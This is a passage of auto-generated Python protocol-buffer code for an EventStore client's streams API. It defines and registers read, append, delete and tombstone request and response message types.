_READREQ_OPTIONS_ALLOPTIONS.oneofs_by_name['all_option'].fields.append(
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['position'])
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['position'].containing_oneof = _READREQ_OPTIONS_ALLOPTIONS.oneofs_by_name['all_option']
_READREQ_OPTIONS_ALLOPTIONS.oneofs_by_name['all_option'].fields.append(
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['start'])
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['start'].containing_oneof = _READREQ_OPTIONS_ALLOPTIONS.oneofs_by_name['all_option']
_READREQ_OPTIONS_ALLOPTIONS.oneofs_by_name['all_option'].fields.append(
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['end'])
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['end'].containing_oneof = _READREQ_OPTIONS_ALLOPTIONS.oneofs_by_name['all_option']
_READREQ_OPTIONS_SUBSCRIPTIONOPTIONS.containing_type = _READREQ_OPTIONS
_READREQ_OPTIONS_POSITION.containing_type = _READREQ_OPTIONS
_READREQ_OPTIONS_FILTEROPTIONS_EXPRESSION.containing_type = _READREQ_OPTIONS_FILTEROPTIONS
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['stream_identifier'].message_type = _READREQ_OPTIONS_FILTEROPTIONS_EXPRESSION
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['event_type'].message_type = _READREQ_OPTIONS_FILTEROPTIONS_EXPRESSION
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['count'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_FILTEROPTIONS.containing_type = _READREQ_OPTIONS
_READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['filter'].fields.append(
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['stream_identifier'])
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['stream_identifier'].containing_oneof = _READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['filter']
_READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['filter'].fields.append(
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['event_type'])
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['event_type'].containing_oneof = _READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['filter']
_READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['window'].fields.append(
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['max'])
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['max'].containing_oneof = _READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['window']
_READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['window'].fields.append(
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['count'])
_READREQ_OPTIONS_FILTEROPTIONS.fields_by_name['count'].containing_oneof = _READREQ_OPTIONS_FILTEROPTIONS.oneofs_by_name['window']
_READREQ_OPTIONS_UUIDOPTION.fields_by_name['structured'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_UUIDOPTION.fields_by_name['string'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_UUIDOPTION.containing_type = _READREQ_OPTIONS
_READREQ_OPTIONS_UUIDOPTION.oneofs_by_name['content'].fields.append(
_READREQ_OPTIONS_UUIDOPTION.fields_by_name['structured'])
_READREQ_OPTIONS_UUIDOPTION.fields_by_name['structured'].containing_oneof = _READREQ_OPTIONS_UUIDOPTION.oneofs_by_name['content']
_READREQ_OPTIONS_UUIDOPTION.oneofs_by_name['content'].fields.append(
_READREQ_OPTIONS_UUIDOPTION.fields_by_name['string'])
_READREQ_OPTIONS_UUIDOPTION.fields_by_name['string'].containing_oneof = _READREQ_OPTIONS_UUIDOPTION.oneofs_by_name['content']
_READREQ_OPTIONS.fields_by_name['stream'].message_type = _READREQ_OPTIONS_STREAMOPTIONS
_READREQ_OPTIONS.fields_by_name['all'].message_type = _READREQ_OPTIONS_ALLOPTIONS
_READREQ_OPTIONS.fields_by_name['read_direction'].enum_type = _READREQ_OPTIONS_READDIRECTION
_READREQ_OPTIONS.fields_by_name['subscription'].message_type = _READREQ_OPTIONS_SUBSCRIPTIONOPTIONS
_READREQ_OPTIONS.fields_by_name['filter'].message_type = _READREQ_OPTIONS_FILTEROPTIONS
_READREQ_OPTIONS.fields_by_name['no_filter'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS.fields_by_name['uuid_option'].message_type = _READREQ_OPTIONS_UUIDOPTION
_READREQ_OPTIONS.containing_type = _READREQ
_READREQ_OPTIONS_READDIRECTION.containing_type = _READREQ_OPTIONS
_READREQ_OPTIONS.oneofs_by_name['stream_option'].fields.append(
_READREQ_OPTIONS.fields_by_name['stream'])
_READREQ_OPTIONS.fields_by_name['stream'].containing_oneof = _READREQ_OPTIONS.oneofs_by_name['stream_option']
_READREQ_OPTIONS.oneofs_by_name['stream_option'].fields.append(
_READREQ_OPTIONS.fields_by_name['all'])
_READREQ_OPTIONS.fields_by_name['all'].containing_oneof = _READREQ_OPTIONS.oneofs_by_name['stream_option']
_READREQ_OPTIONS.oneofs_by_name['count_option'].fields.append(
_READREQ_OPTIONS.fields_by_name['count'])
_READREQ_OPTIONS.fields_by_name['count'].containing_oneof = _READREQ_OPTIONS.oneofs_by_name['count_option']
_READREQ_OPTIONS.oneofs_by_name['count_option'].fields.append(
_READREQ_OPTIONS.fields_by_name['subscription'])
_READREQ_OPTIONS.fields_by_name['subscription'].containing_oneof = _READREQ_OPTIONS.oneofs_by_name['count_option']
_READREQ_OPTIONS.oneofs_by_name['filter_option'].fields.append(
_READREQ_OPTIONS.fields_by_name['filter'])
_READREQ_OPTIONS.fields_by_name['filter'].containing_oneof = _READREQ_OPTIONS.oneofs_by_name['filter_option']
_READREQ_OPTIONS.oneofs_by_name['filter_option'].fields.append(
_READREQ_OPTIONS.fields_by_name['no_filter'])
_READREQ_OPTIONS.fields_by_name['no_filter'].containing_oneof = _READREQ_OPTIONS.oneofs_by_name['filter_option']
_READREQ.fields_by_name['options'].message_type = _READREQ_OPTIONS
_READRESP_READEVENT_RECORDEDEVENT_METADATAENTRY.containing_type = _READRESP_READEVENT_RECORDEDEVENT
_READRESP_READEVENT_RECORDEDEVENT.fields_by_name['id'].message_type = shared__pb2._UUID
_READRESP_READEVENT_RECORDEDEVENT.fields_by_name['stream_identifier'].message_type = shared__pb2._STREAMIDENTIFIER
_READRESP_READEVENT_RECORDEDEVENT.fields_by_name['metadata'].message_type = _READRESP_READEVENT_RECORDEDEVENT_METADATAENTRY
_READRESP_READEVENT_RECORDEDEVENT.containing_type = _READRESP_READEVENT
_READRESP_READEVENT.fields_by_name['event'].message_type = _READRESP_READEVENT_RECORDEDEVENT
_READRESP_READEVENT.fields_by_name['link'].message_type = _READRESP_READEVENT_RECORDEDEVENT
_READRESP_READEVENT.fields_by_name['no_position'].message_type = shared__pb2._EMPTY
_READRESP_READEVENT.containing_type = _READRESP
_READRESP_READEVENT.oneofs_by_name['position'].fields.append(
_READRESP_READEVENT.fields_by_name['commit_position'])
_READRESP_READEVENT.fields_by_name['commit_position'].containing_oneof = _READRESP_READEVENT.oneofs_by_name['position']
_READRESP_READEVENT.oneofs_by_name['position'].fields.append(
_READRESP_READEVENT.fields_by_name['no_position'])
_READRESP_READEVENT.fields_by_name['no_position'].containing_oneof = _READRESP_READEVENT.oneofs_by_name['position']
_READRESP_SUBSCRIPTIONCONFIRMATION.containing_type = _READRESP
_READRESP_CHECKPOINT.containing_type = _READRESP
_READRESP_STREAMNOTFOUND.fields_by_name['stream_identifier'].message_type = shared__pb2._STREAMIDENTIFIER
_READRESP_STREAMNOTFOUND.containing_type = _READRESP
_READRESP.fields_by_name['event'].message_type = _READRESP_READEVENT
_READRESP.fields_by_name['confirmation'].message_type = _READRESP_SUBSCRIPTIONCONFIRMATION
_READRESP.fields_by_name['checkpoint'].message_type = _READRESP_CHECKPOINT
_READRESP.fields_by_name['stream_not_found'].message_type = _READRESP_STREAMNOTFOUND
_READRESP.oneofs_by_name['content'].fields.append(
_READRESP.fields_by_name['event'])
_READRESP.fields_by_name['event'].containing_oneof = _READRESP.oneofs_by_name['content']
_READRESP.oneofs_by_name['content'].fields.append(
_READRESP.fields_by_name['confirmation'])
_READRESP.fields_by_name['confirmation'].containing_oneof = _READRESP.oneofs_by_name['content']
_READRESP.oneofs_by_name['content'].fields.append(
_READRESP.fields_by_name['checkpoint'])
_READRESP.fields_by_name['checkpoint'].containing_oneof = _READRESP.oneofs_by_name['content']
_READRESP.oneofs_by_name['content'].fields.append(
_READRESP.fields_by_name['stream_not_found'])
_READRESP.fields_by_name['stream_not_found'].containing_oneof = _READRESP.oneofs_by_name['content']
_APPENDREQ_OPTIONS.fields_by_name['stream_identifier'].message_type = shared__pb2._STREAMIDENTIFIER
_APPENDREQ_OPTIONS.fields_by_name['no_stream'].message_type = shared__pb2._EMPTY
_APPENDREQ_OPTIONS.fields_by_name['any'].message_type = shared__pb2._EMPTY
_APPENDREQ_OPTIONS.fields_by_name['stream_exists'].message_type = shared__pb2._EMPTY
_APPENDREQ_OPTIONS.containing_type = _APPENDREQ
_APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_APPENDREQ_OPTIONS.fields_by_name['revision'])
_APPENDREQ_OPTIONS.fields_by_name['revision'].containing_oneof = _APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_APPENDREQ_OPTIONS.fields_by_name['no_stream'])
_APPENDREQ_OPTIONS.fields_by_name['no_stream'].containing_oneof = _APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_APPENDREQ_OPTIONS.fields_by_name['any'])
_APPENDREQ_OPTIONS.fields_by_name['any'].containing_oneof = _APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_APPENDREQ_OPTIONS.fields_by_name['stream_exists'])
_APPENDREQ_OPTIONS.fields_by_name['stream_exists'].containing_oneof = _APPENDREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_APPENDREQ_PROPOSEDMESSAGE_METADATAENTRY.containing_type = _APPENDREQ_PROPOSEDMESSAGE
_APPENDREQ_PROPOSEDMESSAGE.fields_by_name['id'].message_type = shared__pb2._UUID
_APPENDREQ_PROPOSEDMESSAGE.fields_by_name['metadata'].message_type = _APPENDREQ_PROPOSEDMESSAGE_METADATAENTRY
_APPENDREQ_PROPOSEDMESSAGE.containing_type = _APPENDREQ
_APPENDREQ.fields_by_name['options'].message_type = _APPENDREQ_OPTIONS
_APPENDREQ.fields_by_name['proposed_message'].message_type = _APPENDREQ_PROPOSEDMESSAGE
_APPENDREQ.oneofs_by_name['content'].fields.append(
_APPENDREQ.fields_by_name['options'])
_APPENDREQ.fields_by_name['options'].containing_oneof = _APPENDREQ.oneofs_by_name['content']
_APPENDREQ.oneofs_by_name['content'].fields.append(
_APPENDREQ.fields_by_name['proposed_message'])
_APPENDREQ.fields_by_name['proposed_message'].containing_oneof = _APPENDREQ.oneofs_by_name['content']
_APPENDRESP_POSITION.containing_type = _APPENDRESP
_APPENDRESP_SUCCESS.fields_by_name['no_stream'].message_type = shared__pb2._EMPTY
_APPENDRESP_SUCCESS.fields_by_name['position'].message_type = _APPENDRESP_POSITION
_APPENDRESP_SUCCESS.fields_by_name['no_position'].message_type = shared__pb2._EMPTY
_APPENDRESP_SUCCESS.containing_type = _APPENDRESP
_APPENDRESP_SUCCESS.oneofs_by_name['current_revision_option'].fields.append(
_APPENDRESP_SUCCESS.fields_by_name['current_revision'])
_APPENDRESP_SUCCESS.fields_by_name['current_revision'].containing_oneof = _APPENDRESP_SUCCESS.oneofs_by_name['current_revision_option']
_APPENDRESP_SUCCESS.oneofs_by_name['current_revision_option'].fields.append(
_APPENDRESP_SUCCESS.fields_by_name['no_stream'])
_APPENDRESP_SUCCESS.fields_by_name['no_stream'].containing_oneof = _APPENDRESP_SUCCESS.oneofs_by_name['current_revision_option']
_APPENDRESP_SUCCESS.oneofs_by_name['position_option'].fields.append(
_APPENDRESP_SUCCESS.fields_by_name['position'])
_APPENDRESP_SUCCESS.fields_by_name['position'].containing_oneof = _APPENDRESP_SUCCESS.oneofs_by_name['position_option']
_APPENDRESP_SUCCESS.oneofs_by_name['position_option'].fields.append(
_APPENDRESP_SUCCESS.fields_by_name['no_position'])
_APPENDRESP_SUCCESS.fields_by_name['no_position'].containing_oneof = _APPENDRESP_SUCCESS.oneofs_by_name['position_option']
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['no_stream_20_6_0'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['any_20_6_0'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['stream_exists_20_6_0'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_no_stream'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_any'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_stream_exists'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_no_stream'].message_type = shared__pb2._EMPTY
_APPENDRESP_WRONGEXPECTEDVERSION.containing_type = _APPENDRESP
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option_20_6_0'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_revision_20_6_0'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_revision_20_6_0'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option_20_6_0']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option_20_6_0'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['no_stream_20_6_0'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['no_stream_20_6_0'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option_20_6_0']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option_20_6_0'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_revision_20_6_0'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_revision_20_6_0'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option_20_6_0']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option_20_6_0'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['any_20_6_0'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['any_20_6_0'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option_20_6_0']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option_20_6_0'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['stream_exists_20_6_0'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['stream_exists_20_6_0'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option_20_6_0']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_revision'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_revision'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_no_stream'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['current_no_stream'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['current_revision_option']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_revision'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_revision'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_any'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_any'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_stream_exists'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_stream_exists'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option']
_APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option'].fields.append(
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_no_stream'])
_APPENDRESP_WRONGEXPECTEDVERSION.fields_by_name['expected_no_stream'].containing_oneof = _APPENDRESP_WRONGEXPECTEDVERSION.oneofs_by_name['expected_revision_option']
_APPENDRESP.fields_by_name['success'].message_type = _APPENDRESP_SUCCESS
_APPENDRESP.fields_by_name['wrong_expected_version'].message_type = _APPENDRESP_WRONGEXPECTEDVERSION
_APPENDRESP.oneofs_by_name['result'].fields.append(
_APPENDRESP.fields_by_name['success'])
_APPENDRESP.fields_by_name['success'].containing_oneof = _APPENDRESP.oneofs_by_name['result']
_APPENDRESP.oneofs_by_name['result'].fields.append(
_APPENDRESP.fields_by_name['wrong_expected_version'])
_APPENDRESP.fields_by_name['wrong_expected_version'].containing_oneof = _APPENDRESP.oneofs_by_name['result']
_DELETEREQ_OPTIONS.fields_by_name['stream_identifier'].message_type = shared__pb2._STREAMIDENTIFIER
_DELETEREQ_OPTIONS.fields_by_name['no_stream'].message_type = shared__pb2._EMPTY
_DELETEREQ_OPTIONS.fields_by_name['any'].message_type = shared__pb2._EMPTY
_DELETEREQ_OPTIONS.fields_by_name['stream_exists'].message_type = shared__pb2._EMPTY
_DELETEREQ_OPTIONS.containing_type = _DELETEREQ
_DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_DELETEREQ_OPTIONS.fields_by_name['revision'])
_DELETEREQ_OPTIONS.fields_by_name['revision'].containing_oneof = _DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_DELETEREQ_OPTIONS.fields_by_name['no_stream'])
_DELETEREQ_OPTIONS.fields_by_name['no_stream'].containing_oneof = _DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_DELETEREQ_OPTIONS.fields_by_name['any'])
_DELETEREQ_OPTIONS.fields_by_name['any'].containing_oneof = _DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_DELETEREQ_OPTIONS.fields_by_name['stream_exists'])
_DELETEREQ_OPTIONS.fields_by_name['stream_exists'].containing_oneof = _DELETEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_DELETEREQ.fields_by_name['options'].message_type = _DELETEREQ_OPTIONS
_DELETERESP_POSITION.containing_type = _DELETERESP
_DELETERESP.fields_by_name['position'].message_type = _DELETERESP_POSITION
_DELETERESP.fields_by_name['no_position'].message_type = shared__pb2._EMPTY
_DELETERESP.oneofs_by_name['position_option'].fields.append(
_DELETERESP.fields_by_name['position'])
_DELETERESP.fields_by_name['position'].containing_oneof = _DELETERESP.oneofs_by_name['position_option']
_DELETERESP.oneofs_by_name['position_option'].fields.append(
_DELETERESP.fields_by_name['no_position'])
_DELETERESP.fields_by_name['no_position'].containing_oneof = _DELETERESP.oneofs_by_name['position_option']
_TOMBSTONEREQ_OPTIONS.fields_by_name['stream_identifier'].message_type = shared__pb2._STREAMIDENTIFIER
_TOMBSTONEREQ_OPTIONS.fields_by_name['no_stream'].message_type = shared__pb2._EMPTY
_TOMBSTONEREQ_OPTIONS.fields_by_name['any'].message_type = shared__pb2._EMPTY
_TOMBSTONEREQ_OPTIONS.fields_by_name['stream_exists'].message_type = shared__pb2._EMPTY
_TOMBSTONEREQ_OPTIONS.containing_type = _TOMBSTONEREQ
_TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_TOMBSTONEREQ_OPTIONS.fields_by_name['revision'])
_TOMBSTONEREQ_OPTIONS.fields_by_name['revision'].containing_oneof = _TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_TOMBSTONEREQ_OPTIONS.fields_by_name['no_stream'])
_TOMBSTONEREQ_OPTIONS.fields_by_name['no_stream'].containing_oneof = _TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_TOMBSTONEREQ_OPTIONS.fields_by_name['any'])
_TOMBSTONEREQ_OPTIONS.fields_by_name['any'].containing_oneof = _TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision'].fields.append(
_TOMBSTONEREQ_OPTIONS.fields_by_name['stream_exists'])
_TOMBSTONEREQ_OPTIONS.fields_by_name['stream_exists'].containing_oneof = _TOMBSTONEREQ_OPTIONS.oneofs_by_name['expected_stream_revision']
_TOMBSTONEREQ.fields_by_name['options'].message_type = _TOMBSTONEREQ_OPTIONS
_TOMBSTONERESP_POSITION.containing_type = _TOMBSTONERESP
_TOMBSTONERESP.fields_by_name['position'].message_type = _TOMBSTONERESP_POSITION
_TOMBSTONERESP.fields_by_name['no_position'].message_type = shared__pb2._EMPTY
_TOMBSTONERESP.oneofs_by_name['position_option'].fields.append(
_TOMBSTONERESP.fields_by_name['position'])
_TOMBSTONERESP.fields_by_name['position'].containing_oneof = _TOMBSTONERESP.oneofs_by_name['position_option']
_TOMBSTONERESP.oneofs_by_name['position_option'].fields.append(
_TOMBSTONERESP.fields_by_name['no_position'])
_TOMBSTONERESP.fields_by_name['no_position'].containing_oneof = _TOMBSTONERESP.oneofs_by_name['position_option']
DESCRIPTOR.message_types_by_name['ReadReq'] = _READREQ
DESCRIPTOR.message_types_by_name['ReadResp'] = _READRESP
DESCRIPTOR.message_types_by_name['AppendReq'] = _APPENDREQ
DESCRIPTOR.message_types_by_name['AppendResp'] = _APPENDRESP
DESCRIPTOR.message_types_by_name['DeleteReq'] = _DELETEREQ
DESCRIPTOR.message_types_by_name['DeleteResp'] = _DELETERESP
DESCRIPTOR.message_types_by_name['TombstoneReq'] = _TOMBSTONEREQ
DESCRIPTOR.message_types_by_name['TombstoneResp'] = _TOMBSTONERESP
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
ReadReq = _reflection.GeneratedProtocolMessageType('ReadReq', (_message.Message,), {
'Options' : _reflection.GeneratedProtocolMessageType('Options', (_message.Message,), {
'StreamOptions' : _reflection.GeneratedProtocolMessageType('StreamOptions', (_message.Message,), {
'DESCRIPTOR' : _READREQ_OPTIONS_STREAMOPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.StreamOptions)
})
,
'AllOptions' : _reflection.GeneratedProtocolMessageType('AllOptions', (_message.Message,), {
'DESCRIPTOR' : _READREQ_OPTIONS_ALLOPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.AllOptions)
})
,
'SubscriptionOptions' : _reflection.GeneratedProtocolMessageType('SubscriptionOptions', (_message.Message,), {
'DESCRIPTOR' : _READREQ_OPTIONS_SUBSCRIPTIONOPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.SubscriptionOptions)
})
,
'Position' : _reflection.GeneratedProtocolMessageType('Position', (_message.Message,), {
'DESCRIPTOR' : _READREQ_OPTIONS_POSITION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.Position)
})
,
'FilterOptions' : _reflection.GeneratedProtocolMessageType('FilterOptions', (_message.Message,), {
'Expression' : _reflection.GeneratedProtocolMessageType('Expression', (_message.Message,), {
'DESCRIPTOR' : _READREQ_OPTIONS_FILTEROPTIONS_EXPRESSION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.FilterOptions.Expression)
})
,
'DESCRIPTOR' : _READREQ_OPTIONS_FILTEROPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.FilterOptions)
})
,
'UUIDOption' : _reflection.GeneratedProtocolMessageType('UUIDOption', (_message.Message,), {
'DESCRIPTOR' : _READREQ_OPTIONS_UUIDOPTION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options.UUIDOption)
})
,
'DESCRIPTOR' : _READREQ_OPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq.Options)
})
,
'DESCRIPTOR' : _READREQ,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadReq)
})
_sym_db.RegisterMessage(ReadReq)
_sym_db.RegisterMessage(ReadReq.Options)
_sym_db.RegisterMessage(ReadReq.Options.StreamOptions)
_sym_db.RegisterMessage(ReadReq.Options.AllOptions)
_sym_db.RegisterMessage(ReadReq.Options.SubscriptionOptions)
_sym_db.RegisterMessage(ReadReq.Options.Position)
_sym_db.RegisterMessage(ReadReq.Options.FilterOptions)
_sym_db.RegisterMessage(ReadReq.Options.FilterOptions.Expression)
_sym_db.RegisterMessage(ReadReq.Options.UUIDOption)
ReadResp = _reflection.GeneratedProtocolMessageType('ReadResp', (_message.Message,), {
'ReadEvent' : _reflection.GeneratedProtocolMessageType('ReadEvent', (_message.Message,), {
'RecordedEvent' : _reflection.GeneratedProtocolMessageType('RecordedEvent', (_message.Message,), {
'MetadataEntry' : _reflection.GeneratedProtocolMessageType('MetadataEntry', (_message.Message,), {
'DESCRIPTOR' : _READRESP_READEVENT_RECORDEDEVENT_METADATAENTRY,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.MetadataEntry)
})
,
'DESCRIPTOR' : _READRESP_READEVENT_RECORDEDEVENT,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp.ReadEvent.RecordedEvent)
})
,
'DESCRIPTOR' : _READRESP_READEVENT,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp.ReadEvent)
})
,
'SubscriptionConfirmation' : _reflection.GeneratedProtocolMessageType('SubscriptionConfirmation', (_message.Message,), {
'DESCRIPTOR' : _READRESP_SUBSCRIPTIONCONFIRMATION,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp.SubscriptionConfirmation)
})
,
'Checkpoint' : _reflection.GeneratedProtocolMessageType('Checkpoint', (_message.Message,), {
'DESCRIPTOR' : _READRESP_CHECKPOINT,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp.Checkpoint)
})
,
'StreamNotFound' : _reflection.GeneratedProtocolMessageType('StreamNotFound', (_message.Message,), {
'DESCRIPTOR' : _READRESP_STREAMNOTFOUND,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp.StreamNotFound)
})
,
'DESCRIPTOR' : _READRESP,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.ReadResp)
})
_sym_db.RegisterMessage(ReadResp)
_sym_db.RegisterMessage(ReadResp.ReadEvent)
_sym_db.RegisterMessage(ReadResp.ReadEvent.RecordedEvent)
_sym_db.RegisterMessage(ReadResp.ReadEvent.RecordedEvent.MetadataEntry)
_sym_db.RegisterMessage(ReadResp.SubscriptionConfirmation)
_sym_db.RegisterMessage(ReadResp.Checkpoint)
_sym_db.RegisterMessage(ReadResp.StreamNotFound)
AppendReq = _reflection.GeneratedProtocolMessageType('AppendReq', (_message.Message,), {
'Options' : _reflection.GeneratedProtocolMessageType('Options', (_message.Message,), {
'DESCRIPTOR' : _APPENDREQ_OPTIONS,
'__module__' : 'streams_pb2'
# @@protoc_insertion_point(class_scope:event_store.client.streams.AppendReq.Options)
})
,
'ProposedMessage' : _reflection.GeneratedProtocolMessageType('ProposedMessage', (_message.Message,), {
'MetadataEntry' : _reflection.GeneratedProtocolMessageType('MetadataEntry', (_message.Message,), {
'DESCRIPTOR' : _APPENDREQ_PROPOSEDMESSAGE_METADATAENTRY,
'__module__' : 'streams_pb2'
